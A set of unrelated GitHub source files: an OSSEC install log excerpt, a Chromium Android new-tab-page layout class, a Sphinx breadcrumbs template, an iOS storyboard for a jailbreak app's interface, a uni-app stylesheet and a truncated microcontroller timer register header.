Adding /var/ossec/signatures/20imapd_rules.xml
Adding /var/ossec/signatures/21spamd_rules.xml
Adding /var/ossec/signatures/22msauth_rules.xml
Adding /var/ossec/signatures/23policy_rules.xml
Adding /var/ossec/signatures/24attack_rules.xml
processing: /var/ossec/etc/rules_config.xml
processing: /var/ossec/user_signatures/user_defined_rules.xml
processing: /var/ossec/signatures/01pam_rules.xml
processing: /var/ossec/signatures/02sshd_rules.xml
processing: /var/ossec/signatures/03telnetd_rules.xml
processing: /var/ossec/signatures/04syslog_rules.xml
processing: /var/ossec/signatures/05pix_rules.xml
processing: /var/ossec/signatures/06named_rules.xml
processing: /var/ossec/signatures/07smbd_rules.xml
processing: /var/ossec/signatures/08vsftpd_rules.xml
processing: /var/ossec/signatures/09pure-ftpd_rules.xml
processing: /var/ossec/signatures/10proftpd_rules.xml
processing: /var/ossec/signatures/11hordeimp_rules.xml
processing: /var/ossec/signatures/12web_rules.xml
processing: /var/ossec/signatures/13apache_rules.xml
processing: /var/ossec/signatures/14ids_rules.xml
processing: /var/ossec/signatures/15squid_rules.xml
processing: /var/ossec/signatures/16firewall_rules.xml
processing: /var/ossec/signatures/17netscreenfw_rules.xml
processing: /var/ossec/signatures/18postfix_rules.xml
processing: /var/ossec/signatures/19sendmail_rules.xml
processing: /var/ossec/signatures/20imapd_rules.xml
processing: /var/ossec/signatures/21spamd_rules.xml
processing: /var/ossec/signatures/22msauth_rules.xml
processing: /var/ossec/signatures/23policy_rules.xml
processing: /var/ossec/signatures/24attack_rules.xml
* Now you can start again ossec
/var/ossec#/etc/init.d/ossec start
Starting OSSEC Starting OSSEC HIDS v0.9 (by Daniel B. Cid)...
Started ossec-maild...
Started ossec-execd...
Started ossec-analysisd...
Started ossec-logcollector...
Started ossec-remoted...
Started ossec-syscheckd...
Completed.
Extract of ossec.conf with the modified rules tag
/var/ossec# cat etc/ossec.conf
...
<rules>
<include>rules_ossec.xml</include>
</rules>
...
|
{
"pile_set_name": "Github"
}
|
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.chrome.browser.ntp;
import android.content.Context;
import android.content.res.Resources;
import android.util.AttributeSet;
import android.util.TypedValue;
import android.view.View;
import android.widget.LinearLayout;
import org.chromium.chrome.R;
import org.chromium.chrome.browser.ntp.NewTabPageUma.NTPLayoutResult;
import org.chromium.chrome.browser.ntp.cards.CardsVariationParameters;
import org.chromium.chrome.browser.ntp.cards.NewTabPageRecyclerView;
import org.chromium.chrome.browser.ntp.snippets.SnippetsConfig;
/**
* Layout for the new tab page. This positions the page elements in the correct vertical positions.
* There are no separate phone and tablet UIs; this layout adapts based on the available space.
*/
public class NewTabPageLayout extends LinearLayout {
// Space permitting, the spacers will grow from 0dp to the heights given below. If there is
// additional space, it will be distributed evenly between the top and bottom spacers.
private static final float TOP_SPACER_HEIGHT_DP = 44f;
private static final float MIDDLE_SPACER_HEIGHT_DP = 24f;
private static final float BOTTOM_SPACER_HEIGHT_DP = 44f;
private static final float TOTAL_SPACER_HEIGHT_DP = TOP_SPACER_HEIGHT_DP
+ MIDDLE_SPACER_HEIGHT_DP + BOTTOM_SPACER_HEIGHT_DP;
private final int mTopSpacerIdealHeight;
private final int mMiddleSpacerIdealHeight;
private final int mBottomSpacerIdealHeight;
private final int mTotalSpacerIdealHeight;
private final int mMostVisitedLayoutBleed;
private final int mPeekingCardHeight;
private final int mTabStripHeight;
private final int mFieldTrialLayoutAdjustment;
private final int mSearchboxShadowWidth;
private int mParentViewportHeight;
private boolean mCardsUiEnabled;
private View mTopSpacer; // Spacer above search logo.
private View mMiddleSpacer; // Spacer between toolbar and Most Likely.
private View mBottomSpacer; // Spacer below Most Likely.
private View mLogoSpacer; // Spacer above the logo.
private View mSearchBoxSpacer; // Spacer above the search box.
// Separate spacer below Most Likely to add enough space so the user can scroll with Most Likely
// at the top of the screen.
private View mScrollCompensationSpacer;
private LogoView mSearchProviderLogoView;
private View mSearchBoxView;
private MostVisitedLayout mMostVisitedLayout;
private boolean mLayoutResultRecorded;
/**
* Constructor for inflating from XML.
*/
public NewTabPageLayout(Context context, AttributeSet attrs) {
super(context, attrs);
Resources res = getResources();
float density = res.getDisplayMetrics().density;
mTopSpacerIdealHeight = Math.round(density * TOP_SPACER_HEIGHT_DP);
mMiddleSpacerIdealHeight = Math.round(density * MIDDLE_SPACER_HEIGHT_DP);
mBottomSpacerIdealHeight = Math.round(density * BOTTOM_SPACER_HEIGHT_DP);
mTotalSpacerIdealHeight = Math.round(density * TOTAL_SPACER_HEIGHT_DP);
mMostVisitedLayoutBleed = res.getDimensionPixelSize(R.dimen.most_visited_layout_bleed);
mPeekingCardHeight = SnippetsConfig.isIncreasedCardVisibilityEnabled()
? res.getDimensionPixelSize(R.dimen.snippets_peeking_card_peek_amount)
: res.getDimensionPixelSize(R.dimen.snippets_padding);
mTabStripHeight = res.getDimensionPixelSize(R.dimen.tab_strip_height);
mFieldTrialLayoutAdjustment = (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,
CardsVariationParameters.getFirstCardOffsetDp(), res.getDisplayMetrics());
mSearchboxShadowWidth = res.getDimensionPixelOffset(R.dimen.ntp_search_box_shadow_width);
}
@Override
protected void onFinishInflate() {
super.onFinishInflate();
mTopSpacer = findViewById(R.id.ntp_top_spacer);
mMiddleSpacer = findViewById(R.id.ntp_middle_spacer);
mBottomSpacer = findViewById(R.id.ntp_bottom_spacer);
mLogoSpacer = findViewById(R.id.search_provider_logo_spacer);
mSearchBoxSpacer = findViewById(R.id.search_box_spacer);
mScrollCompensationSpacer = findViewById(R.id.ntp_scroll_spacer);
mSearchProviderLogoView = (LogoView) findViewById(R.id.search_provider_logo);
mSearchBoxView = findViewById(R.id.search_box);
mMostVisitedLayout = (MostVisitedLayout) findViewById(R.id.most_visited_layout);
}
/**
* Specifies the height of the parent's viewport for the container view of this View.
*
* As this is required in onMeasure, we can not rely on the parent having the proper
* size set yet and thus must be told explicitly of this size.
*
* This View takes into account the presence of the tab strip height for tablets.
*/
public void setParentViewportHeight(int height) {
mParentViewportHeight = height;
}
/**
* Sets whether the cards UI is enabled.
*/
public void setUseCardsUiEnabled(boolean useCardsUi) {
mCardsUiEnabled = useCardsUi;
}
@Override
protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
if (mCardsUiEnabled) {
measureWithCardsUiEnabled(widthMeasureSpec, heightMeasureSpec);
} else {
measureWithCardsUiDisabled(widthMeasureSpec, heightMeasureSpec);
}
measureCommonParts();
}
/**
* Performs layout measurements for when the cards ui is enabled.
*/
private void measureWithCardsUiEnabled(int widthMeasureSpec, int heightMeasureSpec) {
assert mCardsUiEnabled;
mLogoSpacer.setVisibility(View.GONE);
mSearchBoxSpacer.setVisibility(View.GONE);
// Remove the extra spacing before measuring because it might not be needed anymore.
mMostVisitedLayout.setExtraVerticalSpacing(0);
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
boolean hasSpaceForPeekingCard = false;
int spaceToFill = mParentViewportHeight - mPeekingCardHeight - mTabStripHeight;
@NTPLayoutResult int layoutResult;
// We need to make sure we have just enough space to show the peeking card.
if (getMeasuredHeight() > spaceToFill) {
layoutResult = NewTabPageUma.NTP_LAYOUT_DOES_NOT_FIT;
// We don't have enough, we will push the peeking card completely below the fold
// and let MostVisited get cut to make it clear that the page is scrollable.
if (mMostVisitedLayout.getChildCount() > 0) {
// Add some extra space if needed (the 'bleed' is the amount of the layout that
// will be cut off by the bottom of the screen).
int currentBleed = getMeasuredHeight() - mParentViewportHeight - mTabStripHeight;
int minimumBleed =
(int) (mMostVisitedLayout.getChildAt(0).getMeasuredHeight() * 0.44);
if (currentBleed < minimumBleed) {
int extraBleed = minimumBleed - currentBleed;
mLogoSpacer.getLayoutParams().height = (int) (extraBleed * 0.25);
mLogoSpacer.setVisibility(View.INVISIBLE);
mSearchBoxSpacer.getLayoutParams().height = (int) (extraBleed * 0.25);
mSearchBoxSpacer.setVisibility(View.INVISIBLE);
mMostVisitedLayout.setExtraVerticalSpacing((int) (extraBleed * 0.5));
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
layoutResult = NewTabPageUma.NTP_LAYOUT_DOES_NOT_FIT_PUSH_MOST_LIKELY;
}
}
} else {
hasSpaceForPeekingCard = true;
// We leave more than or just enough space needed for the peeking card. Redistribute
// any weighted space.
// There is a field trial experiment to determine the effect of raising the peeking
// card, allowing the user to see some of it's contents when scrolled to the top. This
// is achieved by making the NewTabPageLayout smaller.
// If there is enough space, reduce the space we are going to fill.
if (mFieldTrialLayoutAdjustment != 0f) {
if (getMeasuredHeight() < spaceToFill - mFieldTrialLayoutAdjustment) {
spaceToFill -= mFieldTrialLayoutAdjustment;
layoutResult = NewTabPageUma.NTP_LAYOUT_FITS_WITH_FIELD_TRIAL;
} else {
layoutResult = NewTabPageUma.NTP_LAYOUT_FITS_WITHOUT_FIELD_TRIAL;
}
} else {
layoutResult = NewTabPageUma.NTP_LAYOUT_FITS_NO_FIELD_TRIAL;
}
// Call super.onMeasure with mode EXACTLY and the target height to allow the top
// spacer (which has a weight of 1) to grow and take up the remaining space.
heightMeasureSpec =
MeasureSpec.makeMeasureSpec(spaceToFill, MeasureSpec.EXACTLY);
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
distributeExtraSpace(mTopSpacer.getMeasuredHeight());
}
assert getParent() instanceof NewTabPageRecyclerView;
NewTabPageRecyclerView recyclerView = (NewTabPageRecyclerView) getParent();
recyclerView.setHasSpaceForPeekingCard(hasSpaceForPeekingCard);
// The first few runs of this method occur before the Most Visited layout has loaded it's
// contents. We want to record what the user sees when the layout has stabilized.
if (mMostVisitedLayout.getChildCount() > 0 && !mLayoutResultRecorded) {
mLayoutResultRecorded = true;
NewTabPageUma.recordNTPLayoutResult(layoutResult);
}
}
/**
* Performs layout measurements for when the cards ui is disabled.
*/
private void measureWithCardsUiDisabled(int widthMeasureSpec, int heightMeasureSpec) {
assert !mCardsUiEnabled;
// Remove the scroll spacer from the layout so the weighted children can be measured
// correctly.
mScrollCompensationSpacer.setVisibility(View.GONE);
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
if (getMeasuredHeight() > mParentViewportHeight) {
// This layout is bigger than its parent's viewport, so the user will need to scroll
// to see all of it. Extra spacing should be added at the bottom so the user can
// scroll until Most Visited is at the top.
// The top, middle, and bottom spacers should have a measured height of 0 at this
// point since they use weights to set height, and there was no extra space.
assert mTopSpacer.getMeasuredHeight() == 0;
assert mMiddleSpacer.getMeasuredHeight() == 0;
assert mBottomSpacer.getMeasuredHeight() == 0;
final int topOfMostVisited = calculateTopOfMostVisited();
final int belowTheFoldHeight = getMeasuredHeight() - mParentViewportHeight;
if (belowTheFoldHeight < topOfMostVisited) {
// Include the scroll spacer in the layout and call super.onMeasure again so it
// is measured.
mScrollCompensationSpacer.getLayoutParams().height =
topOfMostVisited - belowTheFoldHeight;
mScrollCompensationSpacer.setVisibility(View.INVISIBLE);
super.onMeasure(widthMeasureSpec, heightMeasureSpec);
}
} else {
distributeExtraSpace(mTopSpacer.getMeasuredHeight());
}
}
/**
* Performs measurements that should be done whether the cards ui is enabled or not.
*/
private void measureCommonParts() {
// Make the search box and logo as wide as the most visited items.
if (mMostVisitedLayout.getVisibility() != GONE) {
final int width = mMostVisitedLayout.getMeasuredWidth() - mMostVisitedLayoutBleed;
measureExactly(mSearchBoxView, width + mSearchboxShadowWidth,
mSearchBoxView.getMeasuredHeight());
measureExactly(
mSearchProviderLogoView, width, mSearchProviderLogoView.getMeasuredHeight());
}
}
/**
* Calculate the vertical position of Most Visited.
* This method does not use mMostVisitedLayout.getTop(), so can be called in onMeasure.
*/
private int calculateTopOfMostVisited() {
// Manually add the heights (and margins) of all children above Most Visited.
int top = 0;
int mostVisitedIndex = indexOfChild(mMostVisitedLayout);
for (int i = 0; i < mostVisitedIndex; i++) {
View child = getChildAt(i);
if (child.getVisibility() == View.GONE) continue;
MarginLayoutParams params = (MarginLayoutParams) child.getLayoutParams();
top += params.topMargin + child.getMeasuredHeight() + params.bottomMargin;
}
top += ((MarginLayoutParams) mMostVisitedLayout.getLayoutParams()).topMargin;
return top;
}
/**
* Distribute extra vertical space between the three spacer views. Doing this here allows for
* more sophisticated constraints than in xml.
* @param extraHeight The amount of extra space, in pixels.
*/
private void distributeExtraSpace(int extraHeight) {
int topSpacerHeight;
int middleSpacerHeight;
int bottomSpacerHeight;
if (extraHeight < mTotalSpacerIdealHeight) {
// The spacers will be less than their ideal height, shrink them proportionally.
topSpacerHeight =
Math.round(extraHeight * (TOP_SPACER_HEIGHT_DP / TOTAL_SPACER_HEIGHT_DP));
middleSpacerHeight =
Math.round(extraHeight * (MIDDLE_SPACER_HEIGHT_DP / TOTAL_SPACER_HEIGHT_DP));
bottomSpacerHeight = extraHeight - topSpacerHeight - middleSpacerHeight;
} else {
// Distribute remaining space evenly between the top and bottom spacers.
extraHeight -= mTotalSpacerIdealHeight;
topSpacerHeight = mTopSpacerIdealHeight + extraHeight / 2;
middleSpacerHeight = mMiddleSpacerIdealHeight;
bottomSpacerHeight = mBottomSpacerIdealHeight + extraHeight / 2;
}
measureExactly(mTopSpacer, 0, topSpacerHeight);
measureExactly(mMiddleSpacer, 0, middleSpacerHeight);
measureExactly(mBottomSpacer, 0, bottomSpacerHeight);
}
/**
* Convenience method to call measure() on the given View with MeasureSpecs converted from the
* given dimensions (in pixels) with MeasureSpec.EXACTLY.
*/
private static void measureExactly(View view, int widthPx, int heightPx) {
view.measure(MeasureSpec.makeMeasureSpec(widthPx, MeasureSpec.EXACTLY),
MeasureSpec.makeMeasureSpec(heightPx, MeasureSpec.EXACTLY));
}
}
|
{
"pile_set_name": "Github"
}
|
{% extends '!breadcrumbs.html' %}
{% block breadcrumbs %}
<li><a href="{{ pathto(master_doc) }}">{{ _('Docs') }}</a> »</li>
{% for doc in parents %}
<li><a href="{{ doc.link|e }}">{{ doc.title }}</a> »</li>
{% endfor %}
<li>{{ title }}</li>
{% endblock %}
{% block breadcrumbs_aside %}
<li class="wy-breadcrumbs-aside">
{% if hasdoc(pagename) %}
{% if display_github %}
{% if check_meta and 'github_url' in meta %}
<!-- User defined GitHub URL -->
<a href="{{ meta['github_url'] }}" class="fa fa-github"> {{ _('Edit on GitHub') }}</a>
{% else %}
<a href="https://{{ github_host|default("github.com") }}/{{ github_user }}/{{ github_repo }}/{{ theme_vcs_pageview_mode|default("blob") }}/{{ github_version }}{{ conf_py_path }}{{ pagename }}{{ suffix }}" class="fa fa-github"> {{ _('Edit on GitHub') }}</a>
{% endif %}
{% elif display_bitbucket %}
{% if check_meta and 'bitbucket_url' in meta %}
<!-- User defined Bitbucket URL -->
<a href="{{ meta['bitbucket_url'] }}" class="fa fa-bitbucket"> {{ _('Edit on Bitbucket') }}</a>
{% else %}
<a href="https://bitbucket.org/{{ bitbucket_user }}/{{ bitbucket_repo }}/src/{{ bitbucket_version}}{{ conf_py_path }}{{ pagename }}{{ suffix }}?mode={{ theme_vcs_pageview_mode|default("view") }}" class="fa fa-bitbucket"> {{ _('Edit on Bitbucket') }}</a>
{% endif %}
{% elif display_gitlab %}
{% if check_meta and 'gitlab_url' in meta %}
<!-- User defined GitLab URL -->
<a href="{{ meta['gitlab_url'] }}" class="fa fa-gitlab"> {{ _('Edit on GitLab') }}</a>
{% else %}
<a href="https://{{ gitlab_host|default("gitlab.com") }}/{{ gitlab_user }}/{{ gitlab_repo }}/{{ theme_vcs_pageview_mode|default("blob") }}/{{ gitlab_version }}{{ conf_py_path }}{{ pagename }}{{ suffix }}" class="fa fa-gitlab"> {{ _('Edit on GitLab') }}</a>
{% endif %}
{% elif show_source and source_url_prefix %}
<a href="{{ source_url_prefix }}{{ pagename }}{{ suffix }}">{{ _('View page source') }}</a>
{% elif show_source and has_source and sourcename %}
<a href="{{ pathto('_sources/' + sourcename, true)|e }}" rel="nofollow"> {{ _('View page source') }}</a>
{% endif %}
{% endif %}
</li>
<li class="wy-breadcrumbs-aside">
<a href="https://jupyter.org/documentation">
<img src="{{ pathto('_static/jupyter_logo.svg', 1) }}"></img>
{{ _('Jupyter') }}
</a>
|
</li>
{% endblock %}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13771" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="BYZ-38-t0r">
<device id="retina5_9" orientation="portrait">
<adaptation id="fullscreen"/>
</device>
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13772"/>
<capability name="Constraints to layout margins" minToolsVersion="6.0"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<scenes>
<!--View Controller-->
<scene sceneID="tne-QT-ifu">
<objects>
<viewController id="BYZ-38-t0r" customClass="ViewController" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="8bC-Xf-vdC">
<rect key="frame" x="0.0" y="0.0" width="375" height="812"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" editable="NO" translatesAutoresizingMaskIntoConstraints="NO" id="atM-2i-eQj">
<rect key="frame" x="16" y="407" width="343" height="371"/>
<color key="backgroundColor" white="1" alpha="1" colorSpace="calibratedWhite"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<textInputTraits key="textInputTraits" autocapitalizationType="sentences"/>
</textView>
<textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" editable="NO" textAlignment="center" translatesAutoresizingMaskIntoConstraints="NO" id="jWj-Jj-RMv">
<rect key="frame" x="31" y="44" width="315" height="185"/>
<color key="backgroundColor" white="1" alpha="1" colorSpace="calibratedWhite"/>
<constraints>
<constraint firstAttribute="height" constant="185" id="z4y-B2-C0J"/>
</constraints>
<string key="text">
Exploits by Ian Beer and bazad
Post exploitation is mostly from Electra, and things from my own.
Powered by #jelbrekLib
Put together by @Jakeashacks :)</string>
<fontDescription key="fontDescription" type="system" pointSize="16"/>
<textInputTraits key="textInputTraits" autocapitalizationType="sentences"/>
</textView>
<view contentMode="scaleToFill" translatesAutoresizingMaskIntoConstraints="NO" id="3bz-we-0qx">
<rect key="frame" x="31" y="237" width="315" height="162"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Tweaks" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="fkj-X0-Qd5">
<rect key="frame" x="164" y="40" width="58" height="21"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="8BR-Lg-oOm">
<rect key="frame" x="85" y="74" width="145" height="54"/>
<fontDescription key="fontDescription" type="system" pointSize="35"/>
<state key="normal" title="Jailbreak!"/>
<connections>
<action selector="jailbrek:" destination="BYZ-38-t0r" eventType="touchUpInside" id="Jwq-Ec-P4q"/>
</connections>
</button>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="jTQ-DU-ItI">
<rect key="frame" x="122" y="120" width="70" height="34"/>
<fontDescription key="fontDescription" type="system" pointSize="18"/>
<state key="normal" title="Uninstall"/>
<connections>
<action selector="uninstall:" destination="BYZ-38-t0r" eventType="touchUpInside" id="7uA-tG-wu1"/>
</connections>
</button>
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" translatesAutoresizingMaskIntoConstraints="NO" id="g95-o5-49y">
<rect key="frame" x="57" y="1" width="51" height="31"/>
</switch>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Install iSuperSU" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ERm-6d-k7y">
<rect key="frame" x="136" y="6" width="121" height="21"/>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="du2-Os-GbV">
<rect key="frame" x="57" y="35" width="51" height="31"/>
</switch>
</subviews>
<color key="backgroundColor" white="1" alpha="1" colorSpace="calibratedWhite"/>
<constraints>
<constraint firstItem="du2-Os-GbV" firstAttribute="centerY" secondItem="fkj-X0-Qd5" secondAttribute="centerY" id="2Iw-9z-9fl"/>
<constraint firstItem="ERm-6d-k7y" firstAttribute="leading" secondItem="g95-o5-49y" secondAttribute="trailing" constant="30" id="2lO-Rb-erS"/>
<constraint firstItem="8BR-Lg-oOm" firstAttribute="centerX" secondItem="3bz-we-0qx" secondAttribute="centerX" id="53Z-mi-O2C"/>
<constraint firstItem="jTQ-DU-ItI" firstAttribute="bottom" secondItem="3bz-we-0qx" secondAttribute="bottomMargin" id="Fh4-zl-4Oe"/>
<constraint firstItem="du2-Os-GbV" firstAttribute="top" secondItem="3bz-we-0qx" secondAttribute="top" constant="35" id="Vyu-Sx-03y"/>
<constraint firstItem="du2-Os-GbV" firstAttribute="leading" secondItem="8BR-Lg-oOm" secondAttribute="leading" constant="-28" id="YnG-al-JmJ"/>
<constraint firstItem="jTQ-DU-ItI" firstAttribute="centerX" secondItem="8BR-Lg-oOm" secondAttribute="centerX" id="aee-cZ-Bf5"/>
<constraint firstItem="8BR-Lg-oOm" firstAttribute="top" secondItem="du2-Os-GbV" secondAttribute="bottom" constant="8" symbolic="YES" id="g0h-Bn-cfw"/>
<constraint firstItem="fkj-X0-Qd5" firstAttribute="leading" secondItem="du2-Os-GbV" secondAttribute="trailing" constant="58" id="oqv-0s-DvW"/>
<constraint firstAttribute="bottom" secondItem="8BR-Lg-oOm" secondAttribute="bottom" constant="34" id="qvd-ZX-jHU"/>
<constraint firstItem="g95-o5-49y" firstAttribute="centerY" secondItem="ERm-6d-k7y" secondAttribute="centerY" id="tz9-QI-oq2"/>
<constraint firstItem="g95-o5-49y" firstAttribute="top" secondItem="3bz-we-0qx" secondAttribute="top" constant="1" id="uze-W3-I1O"/>
<constraint firstItem="ERm-6d-k7y" firstAttribute="leading" secondItem="fkj-X0-Qd5" secondAttribute="leading" constant="-28" id="v3r-X6-lD8"/>
</constraints>
</view>
</subviews>
<color key="backgroundColor" red="1" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<constraints>
<constraint firstItem="jWj-Jj-RMv" firstAttribute="top" secondItem="6Tk-OE-BBY" secondAttribute="top" id="10m-Qh-7Q6"/>
<constraint firstItem="3bz-we-0qx" firstAttribute="top" secondItem="jWj-Jj-RMv" secondAttribute="bottom" constant="8" symbolic="YES" id="7cz-gI-URT"/>
<constraint firstItem="jWj-Jj-RMv" firstAttribute="trailing" secondItem="3bz-we-0qx" secondAttribute="trailing" id="Esj-h0-Npk"/>
<constraint firstItem="atM-2i-eQj" firstAttribute="leading" secondItem="8bC-Xf-vdC" secondAttribute="leadingMargin" id="Hd6-RG-mnr"/>
<constraint firstItem="atM-2i-eQj" firstAttribute="trailing" secondItem="8bC-Xf-vdC" secondAttribute="trailingMargin" id="Rd3-l4-1h1"/>
<constraint firstItem="atM-2i-eQj" firstAttribute="top" secondItem="3bz-we-0qx" secondAttribute="bottom" constant="8" symbolic="YES" id="SDy-qO-bpR"/>
<constraint firstItem="atM-2i-eQj" firstAttribute="bottom" secondItem="6Tk-OE-BBY" secondAttribute="bottom" id="Yne-Kz-E6j"/>
<constraint firstItem="jWj-Jj-RMv" firstAttribute="leading" secondItem="3bz-we-0qx" secondAttribute="leading" id="adB-oh-A3F"/>
<constraint firstItem="6Tk-OE-BBY" firstAttribute="trailing" secondItem="jWj-Jj-RMv" secondAttribute="trailing" constant="29" id="f0K-Wk-IZk"/>
<constraint firstItem="jWj-Jj-RMv" firstAttribute="leading" secondItem="6Tk-OE-BBY" secondAttribute="leading" constant="31" id="xde-1O-7hE"/>
</constraints>
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
</view>
<connections>
<outlet property="enableTweaks" destination="du2-Os-GbV" id="hFO-S0-DRb"/>
<outlet property="installiSuperSU" destination="g95-o5-49y" id="6uH-wE-KSP"/>
<outlet property="jailbreakButton" destination="8BR-Lg-oOm" id="NnW-YN-28w"/>
<outlet property="logs" destination="atM-2i-eQj" id="LLd-9z-Ldu"/>
</connections>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="dkx-z0-nzr" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="112.8" y="114.53201970443351"/>
</scene>
</scenes>
</document>
|
{
"pile_set_name": "Github"
}
|
@charset "UTF-8";
/**
* 这里是uni-app内置的常用样式变量
*
* uni-app 官方扩展插件及插件市场(https://ext.dcloud.net.cn)上很多三方插件均使用了这些样式变量
* 如果你是插件开发者,建议你使用scss预处理,并在插件代码中直接使用这些变量(无需 import 这个文件),方便用户通过搭积木的方式开发整体风格一致的App
*
*/
/**
* 如果你是App开发者(插件使用者),你可以通过修改这些变量来定制自己的插件主题,实现自定义主题功能
*
* 如果你的项目同样使用了scss预处理,你也可以直接在你的 scss 代码中使用如下变量,同时无需 import 这个文件
*/
/* 颜色变量 */
/* 行为相关颜色 */
/* 文字基本颜色 */
/* 背景颜色 */
/* 边框颜色 */
/* 尺寸变量 */
/* 文字尺寸 */
/* 图片尺寸 */
/* Border Radius */
/* 水平间距 */
/* 垂直间距 */
/* 透明度 */
/* 文章场景相关 */
._notice {
position: fixed;
left: 0;
top: 0;
z-index: 9;
width: 100%;
background: rgba(72, 1, 1, 0.3);
font-size: 20rpx;
height: 44rpx;
color: #ffffff;
border-radius: 6rpx;
overflow: hidden;
box-sizing: border-box;
}
._swiper {
line-height: 44rpx;
}
|
{
"pile_set_name": "Github"
}
|
#pragma once
#include <Register/Utility.hpp>
namespace Kvasir {
//Base Timer 0
namespace Bt6PwmTmcr{ ///<Timer Control Register
using Addr = Register::Address<0x4002528c,0xffff8080,0x00000000,unsigned>;
///Count clock selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,12),Register::ReadWriteAccess,unsigned> cks20{};
///Restart enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,11),Register::ReadWriteAccess,unsigned> rtgen{};
///Pulse output mask bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(10,10),Register::ReadWriteAccess,unsigned> pmsk{};
///Trigger input edge selection bits
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,8),Register::ReadWriteAccess,unsigned> egs{};
///Timer function selection bits
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,4),Register::ReadWriteAccess,unsigned> fmd{};
///Output polarity specification bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> osel{};
///Mode selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> mdse{};
///Count operation enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> cten{};
///Software trigger bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> strg{};
}
namespace Bt6PwmTmcr2{ ///<Timer Control Register 2
using Addr = Register::Address<0x40025291,0xfffffffe,0x00000000,unsigned char>;
///Count clock selection bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> cks3{};
}
namespace Bt6PwmStc{ ///< Status Control Register
using Addr = Register::Address<0x40025290,0xffffff88,0x00000000,unsigned char>;
///Trigger interrupt request enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,unsigned> tgie{};
///Duty match interrupt request enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,unsigned> dtie{};
///Underflow interrupt request enable bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> udie{};
///Trigger interrupt request bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> tgir{};
///Duty match interrupt request bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> dtir{};
///Underflow interrupt request bit
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> udir{};
}
namespace Bt6PwmPcsr{ ///<PWM Cycle Set Register
using Addr = Register::Address<0x40025280,0xffffffff,0x00000000,unsigned>;
}
namespace Bt6PwmPdut{ ///<PWM Duty Set Register
using Addr = Register::Address<0x40025284,0xffffffff,0x00000000,unsigned>;
}
namespace Bt6PwmTmr{ ///<Timer Register
